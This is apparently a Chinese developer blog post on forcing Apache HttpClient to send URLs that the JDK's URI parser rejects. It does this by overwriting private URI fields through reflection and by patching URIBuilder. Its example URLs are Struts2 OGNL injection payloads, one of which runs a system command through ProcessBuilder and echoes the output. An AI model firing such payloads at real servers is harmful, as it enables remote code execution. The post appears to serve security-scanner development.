这两天在使用httpclient发送http请求的时候，发现url中一旦包含某些特殊字符就会报错。抛出URISyntaxException异常，比如struts漏洞的利用url：（大括号就不行）
redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),%23webroot%3d%23req.getSession().getServletContext().getRealPath(‘/‘),%23resp%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘).getWriter(),%23resp.print(‘At%201406220173%20Nessus%20found%20the%20path%20is%20‘),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}
看了下jdk的源码知道是URI类parser中checkChars方法对url进行校验时抛出的，而且URI是jdk自带的final类型的类，无法继承也不方便修改。后来经过测试有以下两种方式可以解决这个问题。
第一种方法（这个不是重点）：
使用URL类的openConnection()方法。
public class Test {
public static void main(String[] args) throws Exception {
String urlStr = "http://www.xxx.com/?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%22pwd%22}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}";
URL url = new URL(urlStr);
URLConnection urlConn = url.openConnection();
BufferedReader br = new BufferedReader(new InputStreamReader(urlConn.getInputStream(), "UTF-8"));
StringBuilder sb = new StringBuilder();
String str;
while ((str = br.readLine()) != null)
{
sb.append(str));
}
br.close();
System.out.println(sb.toString().trim());
}
}
第二种方法（这个才是重点）：
因为我必须要用httpclient，而httpclient都是用的URI类，所以第一种方法并不可行。第二种方法是先用正常的url创建URI的对象，然后通过反射，强行修改此对象的地址信息。
public static HttpRequest createRequestMethod(String url, String host, String strRequest, Boolean isAcceptCookie,
Boolean isAllowRedirect) throws UnsupportedEncodingException {
int i = strRequest.indexOf(" ");
String method = strRequest.substring(0, i);
if (method == null || method.trim().length() < 3) {
System.out.println("无效的HTTP方法");
}
HttpRequest httpRequest;
if (method.equalsIgnoreCase("GET")) {
httpRequest = new HttpGet();
} else if (method.equalsIgnoreCase("POST")) {
httpRequest = new HttpPost();
} else if (method.equalsIgnoreCase("DELETE")) {
httpRequest = new HttpDelete();
} else if (method.equalsIgnoreCase("PUT")) {
httpRequest = new HttpPut();
} else if (method.equalsIgnoreCase("HEAD")) {
httpRequest = new HttpHead();
} else if (method.equalsIgnoreCase("OPTIONS")) {
httpRequest = new HttpOptions();
} else if (method.equalsIgnoreCase("TRACE")) {
httpRequest = new HttpTrace();
} else {
// httpRequest = new BasicHttpRequest(method);
System.out.println("无效的HTTP方法");
return null;
}
// 判断是否为带entity的方法
String strHeader;
String strBody;
if (httpRequest instanceof HttpEntityEnclosingRequestBase) {
int j = strRequest.indexOf("\n\n");
strHeader = strRequest.substring(0, j);
strBody = strRequest.substring(j + 2);
StringEntity ent = new StringEntity(strBody);
((HttpEntityEnclosingRequestBase) httpRequest).setEntity(ent);
} else {
strHeader = strRequest;
}
String[] split = strHeader.split("\n");
String name = null;
String value = null;
// 获取第一行中的 http方法、uri、http版本
String firstLine[] = split[0].split(" ");
HttpRequestBase hrb = (HttpRequestBase) httpRequest;
// hrb.setProtocolVersion(version);
// httpRequest.
RequestConfig requestConfig;
if (isAcceptCookie) {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.DEFAULT).setRedirectsEnabled(isAllowRedirect)
.build();
} else {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.IGNORE_COOKIES)
.setRedirectsEnabled(isAllowRedirect).build();
}
hrb.setConfig(requestConfig);
for (int ii = 1; ii < split.length; ii++) {
if (split[ii].equals("")) {
continue;
}
int k;
if ((k = split[ii].indexOf(":")) < 0) {
// return null;
continue;
}
name = split[ii].substring(0, k).trim();
if (name.equals("Content-Length")) {
continue;
}
value = split[ii].substring(k + 1).trim();
httpRequest.addHeader(name, value);
}
// System.out.println("httputil " + httpRequest);
// 设置httprequest的uri
try {
String urii = firstLine[1];
URI uri = null;
try {
uri = URI.create(url + urii);
hrb.setURI(uri);
} catch (Exception e) {
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
uri = URI.create(url); //创建正常的URI
Class<URI> clazz = URI.class;
Field path = clazz.getDeclaredField("path");
Field schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
Field string = clazz.getDeclaredField("string");
path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);
path.set(uri, urii);
schemeSpecificPart.set(uri, "//" + host + urii);
string.set(uri, url + urii);
hrb.setURI(uri);
System.out.println(hrb.getURI());
}
} catch (Exception e) {
e.printStackTrace();
}
return hrb;
}
另外还需要修改org.apache.http.client.utils.URIBuilder类的build方法
public URI build() throws URISyntaxException {
// return new URI(buildString());
String str = buildString();
URI u = null;
try{
u = new URI(str);
}catch(Exception e){
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
u = URI.create("/");
Class<URI> clazz = URI.class;
Field path = null;
Field schemeSpecificPart = null;
Field string = null;
try {
path = clazz.getDeclaredField("path");
schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
string = clazz.getDeclaredField("string");
} catch (NoSuchFieldException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
} catch (SecurityException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}
path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);
try {
path.set(u, str);
schemeSpecificPart.set(u, str);
string.set(u, str);
} catch (IllegalArgumentException | IllegalAccessException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
return u;
}